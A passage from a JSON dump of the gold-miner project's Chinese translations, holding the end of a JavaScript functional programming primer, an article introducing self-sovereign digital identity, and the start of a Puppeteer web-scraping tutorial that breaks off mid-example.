'value'\n}\n```\n\n当然，你也可以给对象赋予名称：\n\n```\nconst foo = {\n  bar: 'bar'\n}\n```\n\n如果你想将现有变量赋值给同名的对象属性，这有个捷径。你可以仅输入变量名，而不用同时提供一个键和一个值：\n\n```\nconst a = 'a';\nconst oldA = { a: a }; // 长而冗余的写法\nconst oA = { a }; // 短小精悍！\n```\n\n为了好玩而已，让我们再来一次：\n\n```\nconst b = 'b';\nconst oB = { b };\n```\n\n对象可以轻松合并到新的对象中：\n\n```\nconst c = {...oA, ...oB}; // { a: 'a', b: 'b' }\n```\n\n这些点是对象扩展运算符。它迭代 `oA` 的属性并分配到新的对象中，`oB` 也是一样，在新对象中已经存在的键都会被重写。在撰写本文时，对象扩展是一个新的试验特性，可能还没有被所有主流浏览器支持，但如果你那不能用，还可以用 `Object.assign()` 替代：\n\n```\nconst d = Object.assign({}, oA, oB); // { a: 'a', b: 'b' }\n```\n\n这个 `Object.assign()` 的例子代码很少，如果你想合并很多对象，它甚至可以节省一些打字。注意当你使用 `Object.assign()` 时，你必须传一个目标对象作为第一个参数。它就是那个源对象的属性将被复制过去的对象。如果你忘了传，第一个参数传递的对象将被改变。\n\n以我的经验，改变一个已经存在的对象而不创建一个新的对象常常引发 bug。至少至少，它很容易出错。要小心使用 `Object.assign()`。\n\n### 解构 ###\n\n对象和数组都支持解构，这意味着你可以从中提取值分配给命过名的变量：\n\n```\nconst [t, u] = ['a', 'b'];\nt; // 'a'\nu; // 'b'\n\nconst blep = {\n  blop: 'blop'\n};\n\n// 下面等同于：\n// const blop = blep.blop;\nconst { blop } = blep;\nblop; // 'blop'\n```\n\n和上面数组的例子类似，你可以一次解构多次分配。下面这行你在大量的 Redux 项目中都能见到。\n\n```\nconst { type, payload } = action;\n```\n\n下面是它在一个 reducer（后面的话题再详细说） 的上下文中的使用方法。\n\n```\nconst myReducer = (state = {}, action = {}) => {\n  const { type, payload } = action;\n  switch (type) {\n    case 'FOO': return Object.assign({}, state, payload);\n    default: return state;\n  }\n};\n```\n\n如果不想为新绑定使用不同的名称，你可以分配一个新名称：\n\n```\nconst { blop: bloop } = blep;\nbloop; // 'blop'\n```\n\n读作：把 `blep.blop` 分配给 `bloop`。\n\n### 比较运算符和三元表达式 ###\n\n你可以用严格的相等操作符（有时称为“三等于”）来比较数据值：\n\n```\n3 + 1 === 4; // true\n```\n\n还有另外一种宽松的相等操作符。它正式地被称为“等于”运算符。非正式地可以叫“双等于”。双等于有一两个有效的用例，但大多数时候默认使用 `===` 操作符是更好的选择。\n\n\n其它比较操作符有:\n\n- `>` 大于\n- `<` 小于\n- `>=` 大于或等于\n- `<=` 小于或等于\n- `!=` 不等于\n- `!==` 严格不等于\n- `&&` 逻辑与\n- `||` 逻辑或\n\n三元表达式是一个可以让你使用一个比较器来问问题的表达式，运算出的不同答案取决于表达式是否为真:\n\n```\n14 - 7 === 7 ? 'Yep!' : 'Nope.'; // Yep!\n```\n\n### 函数 ###\n\nJavaScript 支持函数表达式，函数可以这样分配名称：\n\n```\nconst double = x => x * 2;\n```\n\n这和数学表达式 `f(x) = 2x` 是一个意思。大声说出来，这个函数读作 `x` 的 `f` 等于 `2x`。这个函数只有当你用一个具体的 `x` 的值应用它的时候才有意思。在其它方程式里面你写 `f(2)`，就等同于 `4`。\n\n换种说话就是 `f(2) = 4`。您可以将数学函数视为从输入到输出的映射。这个例子里 `f(x)` 是输入数值 `x` 到相应的输出数值的映射，等于输入数值和 `2` 的乘积。\n\n在 JavaScript 中，函数表达式的值是函数本身：\n\n```\ndouble; // [Function: double]\n```\n\n你可以使用 `.toString()` 方法看到这个函数的定义。\n\n```\ndouble.toString(); // 'x => x * 2'\n```\n\n如果要将函数应用于某些参数，则必须使用函数调用来调用它。函数调用会接收参数并且计算一个返回值。\n\n你可以使用 `<functionName>(argument1, argument2, ...rest)` 调用一个函数。比如调用我们的 double 函数，就加一对括号并传进去一个值：\n\n```\ndouble(2); // 4\n```\n\n和一些函数式语言不同，这对括号是有意义的。没有它们，函数将不会被调用。\n\n```\ndouble 4; // SyntaxError: Unexpected number\n```\n\n### 签名 ###\n\n函数的签名可以包含以下内容：\n\n1. 一个 **可选的** 函数名。\n2. 在括号里的一组参数。 参数的命名是可选的。\n3. 返回值的类型。\n\nJavaScript 的签名无需指定类型。JavaScript 引擎将会在运行时断定类型。如果你提供足够的线索，签名信息也可以通过开发工具推断出来，比如一些 IDE（集成开发环境）和使用数据流分析的 [Tern.js](http://ternjs.net/)。\n\nJavaScript 缺少它自己的函数签名语法，所以有几个竞争标准：JSDoc 在历史上非常流行，但它太过笨拙臃肿，没有人会不厌其烦地维护更新文档与代码同步，所以很多 JS 开发者都弃坑了。\n\nTypeScript 和 Flow 是目前的大竞争者。这二者都不能让我确定地知道怎么表达我需要的一切，所以我使用 [Rtype](https://github.com/ericelliott/rtype)，仅仅用于写文档。一些人倒退回 Haskell 的 curry-only [Hindley–Milner 类型系统](http://web.cs.wpi.edu/~cs4536/c12/milner-damas_principal_types.pdf)。如果仅用于文档，我很乐意看到 JavaScript 能有一个好的标记系统标准，但目前为止，我觉得当前的解决方案没有能胜任这个任务的。现在，怪异的类型标记即使和你在用的不尽相同，也就将就先用着吧。\n\n```\nfunctionName(param1: Type, param2: Type) => Type\n```\n\ndouble 函数的签名是：\n\n```\ndouble(x: n) => n\n```\n\n尽管事实上 JavaScript 不需要注释签名，知道何为签名和它意味着什么依然很重要，它有助于你高效地交流函数是如何使用和如何构建的。大多数可重复使用的函数构建工具都需要你传入同样类型签名的函数。\n\n### 默认参数值 ###\n\nJavaScript 支持默认参数值。下面这个函数类似一个恒等函数（以你传入参数为返回值的函数），一旦你用 `undefined` 调用它，或者根本不传入参数——它就会返回 0，来替代：\n\n```\nconst orZero = (n = 0) => n;\n```\n\n如上，若想设置默认值，只需在传入参数时带上 `=` 操作符，比如 `n = 0`。当你用这种方式传入默认值，像 [Tern.js](http://ternjs.net/)、Flow、或者 TypeScript 这些类型检测工具可以自行推断函数的类型签名，甚至你不需要刻意声明类型注解。\n\n结果就是这样，在你的编辑器或者 IDE 中安装正确的插件，在你输入函数调用时，你可以看见内联显示的函数签名。依据它的调用签名，函数的使用方法也一目了然。无论起不起作用，使用默认值可以让你写出更具可读性的代码。\n\n> 注意： 使用默认值的参数不会增加函数的 `.length` 属性，比如使用依赖 `.length` 值的自动柯里化会抛出不可用异常。如果你碰上它，一些柯里化工具（比如 `lodash/curry`）允许你传入自定义参数来绕开这个限制。\n\n### 命名参数 ###\n\nJavaScript 函数可以传入对象字面量作为参数，并且使用对象解构来分配参数标识，这样做可以达到命名参数的同样效果。注意，你也可以使用默认参数特性传入默认值。\n\n```\nconst createUser = ({\n  name = 'Anonymous',\n  avatarThumbnail = '/avatars/anonymous.png'\n}) => ({\n  name,\n  avatarThumbnail\n});\n\nconst george = createUser({\n  name: 'George',\n  avatarThumbnail: 'avatars/shades-emoji.png'\n});\n\ngeorge;\n/*\n{\n  name: 'George',\n  avatarThumbnail: 'avatars/shades-emoji.png'\n}\n*/\n```\n\n### 剩余和展开 ###\n\nJavaScript 中函数共有的一个特性是可以在函数参数中使用剩余操作符 `...` 来将一组剩余的参数聚集到一起。\n\n例如下面这个函数简单地丢弃第一个参数，返回其余的参数：\n\n```\nconst aTail = (head, ...tail) => tail;\naTail(1, 2, 3); // [2, 3]\n```\n\n剩余参数将各个元素组成一个数组。而展开操作恰恰相反：它将一个数组中的元素扩展为独立元素。研究一下这个：\n\n```\nconst shiftToLast = (head, ...tail) => [...tail, head];\nshiftToLast(1, 2, 3); // [2, 3, 1]\n```\n\nJavaScript 数组在使用扩展操作符的时候会调用一个迭代器，对于数组中的每一个元素，迭代器都会传递一个值。在 `[...tail, head]` 表达式中，迭代器按顺序从 `tail` 数组中拷贝到一个刚刚创建的新的数组。之前 head 已经是一个独立元素了，我们只需把它放到数组的末端，就完成了。\n\n### 柯里化 ###\n\n可以通过返回另一个函数来实现柯里化（Curry）和偏应用（partial application）：\n\n```\nconst highpass = cutoff => n => n >= cutoff;\nconst gt4 = highpass(4); // highpass() 返回了一个新函数\n```\n\n你可以不使用箭头函数。JavaScript 也有一个 `function` 关键字。我们使用箭头函数是因为 `function` 关键字需要打更多的字。\n这种写法和上面的 `highPass()` 定义是一样的：\n\n```\nconst highpass = function highpass(cutoff) {\n  return function (n) {\n    return n >= cutoff;\n  };\n};\n```\n\nJavaScript 中箭头的大致意义就是“函数”。使用不同种的方式声明，函数行为会有一些重要的不同点（`=>` 缺少了它自己的 `this` ，不能作为构造函数），但当我们遇见那就知道不同之处了。现在，当你看见 `x => x`，想到的是 “一个携带 `x` 并且返回 `x` 的函数”。所以 `const highpass = cutoff => n => n >= cutoff;` 可以这样读：\n\n“`highpass` 是一个携带 `cutoff` 返回一个携带 `n` 并返回结果 `n >= cutoff` 的函数的函数”\n\n既然 `highpass()` 返回一个函数，你可以使用它创建一个更独特的函数：\n\n```\nconst gt4 = highpass(4);\n\ngt4(6); // true\ngt4(3); // false\n```\n\n自动柯里化函数，有利于获得最大的灵活性。比如你有一个函数 `add3()`:\n\n```\nconst add3 = curry((a, b, c) => a + b + c);\n```\n\n使用自动柯里化，你可以有很多种不同方法使用它，它将根据你传入多少个参数返回正确结果：\n\n```\nadd3(1, 2, 3); // 6\nadd3(1, 2)(3); // 6\nadd3(1)(2, 3); // 6\nadd3(1)(2)(3); // 6\n```\n\n令 Haskell 粉遗憾的是，JavaScript 没有内置自动柯里化机制，但你可以从 Lodash 引入：\n\n```\n$ npm install --save lodash\n```\n\n然后在你的模块里:\n\n```\nimport curry from 'lodash/curry';\n```\n\n或者你可以使用下面这个魔性写法:\n\n```\n// 精简的递归自动柯里化\nconst curry = (\n  f, arr = []\n) => (...args) => (\n  a => a.length === f.length ?\n    f(...a) :\n    curry(f, a)\n)([...arr, ...args]);\n```\n\n### 函数组合 ###\n\n当然你能够开始组合函数了。组合函数是传入一个函数的返回值作为参数给另一个函数的过程。用数学符号标识：\n\n```\nf . g\n```\n\n翻译成 JavaScript:\n\n```\nf(g(x))\n```\n\n这是从内到外地求值：\n\n1. `x` 是被求数值\n2. `g()` 应用给 `x`\n3. `f()` 应用给 `g(x)` 的返回值\n\n例如:\n\n```\nconst inc = n => n + 1;\ninc(double(2)); // 5\n```\n\n数值 `2` 被传入 `double()`，求得 `4`。 `4` 被传入 `inc()` 求得 `5`。\n\n你可以给函数传入任何表达式作为参数。表达式在函数应用之前被计算:\n\n```\ninc(double(2) * double(2)); // 17\n```\n\n既然 `double(2)` 求得 `4`，你可以读作 `inc(4 * 4)`，然后计算得 `inc(16)`，然后求得 `17`。\n\n函数组合是函数式编程的核心。我们后面还会介绍很多。\n\n### 数组 ###\n\n数组有一些内置方法。方法是指对象关联的函数，通常是这个对象的属性：\n\n```\nconst arr = [1, 2, 3];\narr.map(double); // [2, 4, 6]\n```\n\n这个例子里，`arr` 是对象，`.map()` 是一个以函数为值的对象属性。当你调用它，这个函数会被应用给参数，和一个特别的参数叫做 `this`，`this` 在方法被调用之时自动设置。这个 `this` 的存在使 `.map()` 能够访问数组的内容。\n\n注意我们传递给 `map` 的是 `double` 函数而不是直接调用。因为 `map` 携带一个函数作为参数并将函数应用给数组的每一个元素。它返回一个包含了 `double()` 返回值的新的数组。\n\n注意原始的 `arr` 值没有改变：\n\n```\narr; // [1, 2, 3]\n```\n\n### 方法链 ###\n\n你也可以链式调用方法。方法链是指在函数返回值上直接调用方法的过程，在此期间不需要给返回值命名：\n\n```\nconst arr = [1, 2, 3];\narr.map(double).map(double); // [4, 8, 12]\n```\n\n返回布尔值（`true` 或 `false`）的函数叫做 **断言**（predicate）。`.filter()` 方法携带断言并返回一个新的数组，新数组中只包含传入断言函数（返回 `true`）的元素：\n\n```\n[2, 4, 6].filter(gt4); // [4, 6]\n```\n\n你常常会想要从一个列表选择一些元素，然后把这些元素序列化到一个新列表中：\n\n```\n[2, 4, 6].filter(gt4).map(double); [8, 12]\n```\n\n注意：后面的文章你将看到使用叫做 **transducer** 东西更高效地同时选择元素并序列化，不过这之前还有一些其他东西要了解。\n\n### 总结 ###\n\n如果你现在有点发懵，不必担心。我们仅仅概览了一下很多事情的表面，它们尚需大量的解释和总结。很快我们就会回过头来，深入探讨其中的一些话题。\n\n[**继续阅读 “高阶函数”…**](https://github.com/xitu/gold-miner/blob/master/TODO/higher-order-functions-composing-software.md)\n\n### 接下来 ###\n\n想要学习更多 JavaScript 函数式编程知识？\n\n[和 Eric Elliott 一起学习 JavaScript](http://ericelliottjs.com/product/lifetime-access-pass/)。 如果你不是其中一员，千万别错过！\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg\">\n](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n\n***Eric Elliott*** 是 [*“JavaScript 应用程序设计”*](http://pjabook.com)  (O’Reilly) 以及 [*“和 Eric Elliott 一起学习 JavaScript”*](http://ericelliottjs.com/product/lifetime-access-pass/) 的作者。 曾就职于 **Adobe Systems、Zumba Fitness、The Wall Street Journal、ESPN、BBC and top recording artists including Usher、Frank Ocean、Metallica** 等公司，具有丰富的软件实践经验。\n\n**他大多数时间在 San Francisco By Area ，和世界上最美丽的姑娘在一起。**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/a-gentle-introduction-to-self-sovereign-identity.md",
    "content": "> * 原文地址：[A gentle introduction to self-sovereign identity](https://bitsonblocks.net/2017/05/17/a-gentle-introduction-to-self-sovereign-identity/)\n> * 原文作者：[antonylewis2015](https://bitsonblocks.net/author/antonylewis2015/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-gentle-introduction-to-self-sovereign-identity.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-gentle-introduction-to-self-sovereign-identity.md)\n> * 译者：[foxxnuaa](https://github.com/foxxnuaa)\n> * 校对者：[ryouaki](https://github.com/ryouaki)\n\n# 自主权身份简介\n\n![](https://bitsonblocks.files.wordpress.com/2017/05/self_sovereign_identity_platform.png?w=594&h=434&crop=1)\n\n2017 年 5 月，印度[互联网与社会智库中心]( http://cis-india.org/ )发布了一份[报告]( http://cis-india.org/internet-governance/information-security-practices-of-aadhaar-or-lack-thereof-a-documentation-of-public-availability-of-aadhaar-numbers-with-sensitive-personal-financial-information-1 )，详细介绍了印度国家身份数据库（ [ Adahaar ]（ https://uidai.gov.in/ ））泄漏可能危及个人信息的方式。这些信息涉及 1.3 亿印度国民。信息泄漏给金融诈骗创造了机会，同时对个人隐私造成不可挽回的伤害。\n\n很明显，中心化身份存储模型存在缺陷。本文描述了一种管理数字身份的新方式：自主权身份。\n\n自主权身份的含义是人们和企业将自己的身份数据存储在自己的设备上，并能有效地提供给需要的人进行验证，而不用依赖中心化的身份数据存储。相对如今的纸质处理，自主权身份是一种数字化方式。与手动处理和中心化存储如印度的 Aadhaar 相比，自主权身份更有益。\n\n高效地识别过程能够促进普惠金融。通过降低小企业开设银行账户的成本，融资对银行更加有利，小企业便可以获得融资。\n\n### 身份中有哪些重要概念？\n\n身份包含三个部分：**声明**、**证明** 和 **认证**。\n\n#### 声明\n\n身份 **声明** 是由个人或企业发起的：\n\n> “我是 Antony ，出生于 1901 年 1 月 1 日”\n\n![claim](https://bitsonblocks.files.wordpress.com/2017/05/claim.png?w=594)\n\n#### 证明\n\n\n**证明** 是某种形式的文件，为声明提供证据。证明有各种格式。通常情况下，个人证明是护照、出生证和账单的复印件。对于公司来说，它是大量的公司和所有权结构文件。\n\n\n![proofs](https://bitsonblocks.files.wordpress.com/2017/05/proofs.png?w=594)\n\n#### 认证\n\n**认证** 是第三方根据他们的记录验证声明是真实的。例如，一所大学可以证明有人在那里学习过并取得学位。来自权威机构的认证比伪造的证据更加有力。但是，由于信息是敏感的，认证对于权威机构来说是一个负担。认证意味着信息需要保持，且只有特定的人才能访问。\n\n\n![attestation](https://bitsonblocks.files.wordpress.com/2017/05/attestation.png?w=594)\n\n### 身份的问题是什么？\n\n银行需要了解他们的新客户和商业客户以便检查资格，并向监管机构证明他们（银行）不是银行坏账。他们也需要保持客户的信息是最新的。\n\n问题在于：\n\n* 证明通常是图片和复印件形式的 **非结构化数据**。这意味着银行工作人员必须手动读取和扫描文档以提取相关数据，然后输入系统进行存储和处理。\n\n* 当在现实生活中发生 **数据变化** 时（如地址变更、公司所有权结构变更），客户有义务通知与他们有关系的各种金融服务提供商。\n\n* 某些形式的证据（如原始文件的复印件）**很容易被伪造**，这就需要采取额外的步骤来证明真实性，如经过公证的复印件，从而导致其他的矛盾和费用。\n\n结果是昂贵、耗时且麻烦的过程，使每个人都感到烦恼。\n\n![kyc_current_process](https://bitsonblocks.files.wordpress.com/2017/05/kyc_current_process.png?w=594)\n\n### 技术上有哪些改进？\n\n无论采用什么样的整体解决方案，上述三个问题都需要在技术上解决。标准化和数字签名结合运作良好。\n\n**改进非结构化数据** 的技术解决方案是将数据以机器可读的结构化格式进行存储和传输，即将 **文本存储在标准化的标签中**。\n\n**管理数据变化** 的技术解决方案是更新所有必要实体的通用方法。即使用 **APIs**连接、验证自身（证明是您的账户）、更新详细信息。\n\n**证明身份真实性** 的技术解决方案是 **数字签名认证**，可能有时间限制。数字签名证明与认证一样有效，因为数字签名不能伪造。数字签名有如下两个属性，使其本质上比纸质文档更好：\n\n1. 如果签名文档发生任何更改，数字签名将失效。换句话说，它保证文件的完整性。\n2. 数字签名不能被取消，并从一个文档复制到另一个文档。\n\n### 什么是中心化解决方案？\n\n身份管理的常见解决方案是中心化存储。第三方拥有和控制许多人身份的存储。客户将自身信息录入到系统，并上传证据。无论谁需要，都可以访问这些数据（当然得有客户的许可），并可以系统地将这些数据存储到自己的系统中。如果细节发生变化，客户会更新一次，并将更新推送给相关的银行。\n\n![centralised_identity_solutions](https://bitsonblocks.files.wordpress.com/2017/05/centralised_identity_solutions.png?w=594)\n\n这听起来不错，当然也有一些好处。但是这个模型有些问题。\n\n### 中心化解决方案有什么问题？\n\n#### 1. 不良数据\n\n运营身份存储是一把双刃剑。一方面，运营商可以通过对工具收费来赚钱。另一方面，数据对运营商是不利的：对于黑客来说，集中化的身份系统是一座金矿；而对于运营商，网络安全很是头痛。\n\n如果黑客可以侵入系统并拷贝数据，他们可以将数字身份和书面证据出售给其他坏人。这些坏人就可以以无辜者的名义窃取身份、欺诈和犯罪。这样会而且确实破坏了无辜者的生活，并给运营商造成重大的不利。\n\n#### 2. 司法政治\n\n监管机构希望将个人数据存储在其管辖下的地理范围内。因此，创建国际身份存储库是很困难的，因为总是有关于哪个国家存储数据和谁可以访问数据的争论。\n\n#### 3. 垄断倾向\n\n对于中心化存储库运营商来说，这不是问题，但对于用户来说是一个问题。如果一个公用事业运营商获得足够的关注，网络效应会吸引更多的用户。公用事业运营商可能成为准垄断企业。垄断性运营商往往对变革产生抵触；由于缺乏竞争力，他们会过度收费和乏于创新。这对于运营商是有利的，但是却损害了用户的利益。\n\n### 去中心化的解决方案是什么？\n\n#### 是区块链吗？\n\n区块链是一种分布式账簿，所有数据都可以实时复制到所有参与者。是否应该将身份数据存储在多个参与实体（比如大银行）管理的区块链中?不:\n\n1. 将所有身份数据复制到所有各方，打破了关于将个人数据保存在管辖范围内的所有规定;只储存与业务有关的个人资料;并且只存储客户授权的数据。\n\n2. 网络安全风险增加。如果中心化数据存储很难保证安全，那么现在您正在将这些数据复制到多个参与方，每个参与方都有自己的网络安全实践和漏洞。这使得攻击者更容易窃取数据。\n\n如果加密身份数据会怎样？\n\n1. 加密个人数据仍可能违反个人数据规定。\n\n2. 为什么各方(如银行)会存储和管理一些他们看不到或不使用的身份数据?积极的一面是什么?\n\n### 那么最终的答案是什么？\n\n最新的解决方案是 “**自主权身份**”。这个数字概念与我们今天保管非数字身份的方式非常相似。\n\n今天，我们自己保管护照、出生证明、家用水电费账单等，也许把他们放在一个“重要的抽屉”里，并且在需要的时候才拿出来。我们将这些纸质文件和其他东西分开存放。自主权身份等同于我们现在使用的纸质文件的数字等价物。\n\n### 如何对用户进行自主权身份识别？\n\n你会在智能手机或电脑上安装一个应用程序，类似于某种”身份钱包“，将身份数据存储在设备硬件上，可能备份在另一个设备上或个人备份解决方案上，但 **关键** 是不存储在中心化存储库中。\n\n身份钱包一开始是 **空** 的，只有一个根据公钥 **生成** 的 **识别号码** 以及相应的私钥(类似密码，用于创建数字签名)。这个密钥对不同于用户名和密码，因为它是由用户通过\"随机和数学运算\"创建的，而不是由第三方请求用户名/密码产生的。\n\n现阶段，**没有其他任何人** 知道这个识别号码。没有人发给你。你自己创建了它。这就是自主权。大数法则和随机数法则确保没有人会产生和你一样的识别号码。\n\n然后你可以使用这个 **识别号码**，连同 **身份声明** 一起，从相关部门得到 **认证**。\n\n你就可以使用这些证明作为你的身份信息。\n\n![self_sovereign_identity_public_key_model](https://bitsonblocks.files.wordpress.com/2017/05/self_sovereign_identity_public_key_model.png?w=594)\n\n**声明** 会被输入到标准化文本中存储，并保存照片或扫描文档。\n\n**证明** 会通过保存扫描或者证明文件的照片来存储。 然而，这只是为了向后兼容，因为数字签名认证消除了我们今天所知道的证明的需要。\n\n**认证** - 即有效部分，也会存储在这个钱包里。它是机器可读的，数字签名的一些信息片段，在一定时间段内有效。官方如护照机构、医院、驾照机构、警察局等需要签署这些数字签名。\n\n**需要了解，但是无需更多**：官方可以提供“超过18”、“超过21”、“合格投资者”、“可驾驶汽车”等证明文件，供用户使用。身份所有者能够选择将哪些信息传递给请求者。例如，如果你需要证明你已经超过18岁，你不需要分享你的出生日期，你只需要一个声明说你已经超过18岁，该声明由相关部门签署。\n\n![attestation_over18](https://bitsonblocks.files.wordpress.com/2017/05/attestation_over18.png?w=594)\n\n共享这类数据对于 **身份提供者和接收者来说都更安全**。提供者不需要过度共享，而接收者不需要存储不必要的敏感数据 — 例如，如果接收者被入侵，它们只存储“超过18岁”的标志，而不是出生日期。\n\n即使银行本身也可以证明哪些人在银行有账户。我们首先需要了解他们在创建这些认证时所承担的责任。我认为，当他们寄给你一张银行账单时，它不会比他们目前承担的责任更大，而你只是把它作为在其他地方的地址证明。\n\n#### 数据共享\n\n数据将存储在个人设备上(如同今天将纸质文件存储在家里），且在需要时，个人通过打开设备上的通知同意第三方收集特定数据。我们已经有一些类似的 - 如果你曾使用过“连接”你的 Facebook 或 LinkedIn 账户服务，这是相似的 - 但是，不是去 Facebook 服务器收集你的个人数据，而是从你的手机中请求它，同时你对共享的数据有粒度控制。\n\n![self_sovereign_identity_platform](https://bitsonblocks.files.wordpress.com/2017/05/self_sovereign_identity_platform.png?w=594)\n\n### 总结 - 分布式账本\n\n谁来组织这些？也许这就是分布式账本的起源。软件、网络和工作流需要构建、运行和维护。数字签名需要管理公钥和私钥，证书需要颁发、撤销、刷新。身份数据不是静态的，它需要根据某些业务逻辑进行演化。\n\n**非区块链分布式账本将是一个理想的平台**。R3 的 Corda (注:我在 R3 中工作)已经具备了许多必要的元素 —— 协调工作流、数字签名、数据演化规则，以及一个由 80 多个金融机构组成的联盟，他们正在尝试这种精确的自我权身份概念。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-guide-to-automating-scraping-the-web-with-javascript-chrome-puppeteer-node-js.md",
    "content": "> * 原文地址：[A Guide to Automating & Scraping the Web with JavaScript (Chrome + Puppeteer + Node JS)](https://codeburst.io/a-guide-to-automating-scraping-the-web-with-javascript-chrome-puppeteer-node-js-b18efb9e9921)\n> * 原文作者：[Brandon Morelli](https://codeburst.io/@bmorelli25?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-guide-to-automating-scraping-the-web-with-javascript-chrome-puppeteer-node-js.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-guide-to-automating-scraping-the-web-with-javascript-chrome-puppeteer-node-js.md)\n> * 译者：[pot-code](https://github.com/pot-code)\n> * 校对者：[bambooom](https://github.com/bambooom)\n\n# JavaScript 自动化爬虫入门指北（Chrome + Puppeteer + Node JS）\n\n## 和 Headless Chrome 一起装逼一起飞\n\n![](https://cdn-images-1.medium.com/max/800/1*kk8ovQKB-45FsZ8TZM-vjg.png)\n\n> [**Udemy Black Friday Sale**](https://codeburst.io/udemys-black-friday-sale-starts-today-all-web-development-courses-just-10-44966e590bd4) — Thousands of Web Development & Software Development courses are on sale for only $10 for a limited time! [**Full details and course recommendations can be found here**](https://codeburst.io/udemys-black-friday-sale-starts-today-all-web-development-courses-just-10-44966e590bd4).\n\n#### 内容简介\n\n本文将会教你如何用 JavaScript 自动化 web 爬虫，技术上用到了 Google 团队开发的 Puppeteer。 [__Puppeteer__](https://github.com/GoogleChrome/puppeteer) 运行在 Node 环境，可以用来操作 headless Chrome。何谓 [__Headless Chrome__](https://developers.google.com/web/updates/2017/04/headless-chrome)？通俗来讲就是在不打开 Chrome 浏览器的情况下使用提供的 API 模拟用户的浏览行为。\n\n**如果你还是不理解，你可以想象成使用 JavaScript 全自动化操作 Chrome 浏览器。**\n\n#### 前言\n\n先确保你已经安装了 Node 8 及以上的版本，没有的话，可以先到 [**官网**](https://nodejs.org/en/) 里下载安装。注意，一定要选“Current”处显示的版本号大于 8 的。\n\n如果你是第一次接触 Node，最好先看一下入门教程：[**Learn Node JS — The 3 Best Online Node JS Courses**](https://codeburst.io/learn-node-js-the-3-best-online-node-js-courses-87e5841f4c47).\n\n安装好 Node 之后，创建一个项目文件夹，然后安装 Puppeteer。安装 Puppeteer 的过程中会附带下载匹配版本的 Chromium（译者注：国内网络环境可能会出现安装失败的问题，可以设置环境变量 `PUPPETEER_SKIP_CHROMIUM_DOWNLOAD = 1` 跳过下载，副作用是每次使用 `launch` 方法时，需要手动指定浏览器的执行路径）：\n\n```shell\nnpm install --save puppeteer\n```\n\n#### 例 1 —— 网页截图\n\nPuppeteer 安装好之后，我们就可以开始写一个简单的例子。这个例子直接照搬自官方文档，它可以对给定的网站进行截图。\n\n首先创建一个 js 文件，名字随便起，这里我们用 `test.js` 作为示例，输入以下代码：\n\n```javascript\nconst puppeteer = require('puppeteer');\n\nasync function getPic() {\n  const browser = await puppeteer.launch();\n  const page = await browser.newPage();\n  await page.goto('https://google.com');\n  await page.screenshot({path: 'google.png'});\n\n  await browser.close();\n}\n\ngetPic();\n```\n\n下面我们来逐行分析上面的代码。\n\n* **第 1 行：** 引入依赖。\n* **第 3–10 行：** 核心代码，自动化过程在这里完成。\n* **第 12 行：** 执行 `getPic()` 方法。\n\n细心的读者会发现，`getPic()` 前面有个 `async` 前缀，它表示 `getPic()` 方法是个异步方法。`async` 和 `await` 成对出现，属于 ES 2017 新特性。介于它是个异步方法，所以调用之后返回的是 `Promise` 对象。当 `async` 方法返回值时，对应的 `Promise` 对象会将这个值传递给 `resolve`（如果抛出异常，那么会将错误信息传递给 `Reject`)。\n\n在 `async` 方法中，可以使用 `await` 表达式暂停方法的执行，直到表达式里的 `Promise` 对象完全解析之后再继续向下执行。看不懂没关系，后面我再详细讲解，到时候你就明白了。\n\n接下来，我们将会深入分析 `getPic()` 方法：\n\n* **第 4 行：**\n\n```javascript\nconst browser = await puppeteer.launch();\n```\n\n这段代码用于启动 puppeteer，实质上打开了一个 Chrome 的实例，然后将这个实例对象赋给变量 `browser`。因为使用了 `await` 关键字，代码运行到这里会阻塞（暂停），直到 `Promise` 解析完毕（无论执行结果是否成功）\n\n* **第 5 行：**\n\n```javascript\nconst page = await browser.newPage();\n```\n\n接下来，在上文获取到的浏览器实例中新建一个页面，等到其返回之后将新建的页面对象赋给变量 `page`。\n\n* **第 6 行：**\n\n```javascript\nawait page.goto('https://google.com');\n```\n\n使用上文获取到的 `page` 对象，用它来加载我们给的 URL 地址，随后代码暂停执行，等待页面加载完毕。\n\n* **第 7 行：**\n\n```javascript\nawait page.screenshot({path: 'google.png'});\n```\n\n等到页面加载完成之后，就可以对页面进行截图了。`screenshot()` 方法接受一个对象参数，可以用来配置截图保存的路径。注意，不要忘了加上 `await` 关键字。\n\n* **第 9 行：**\n\n```javascript\nawait browser.close();\n```\n\n最后，关闭浏览器。\n\n#### 运行示例\n\n在命令行输入以下命令执行示例代码：\n\n```shell\nnode 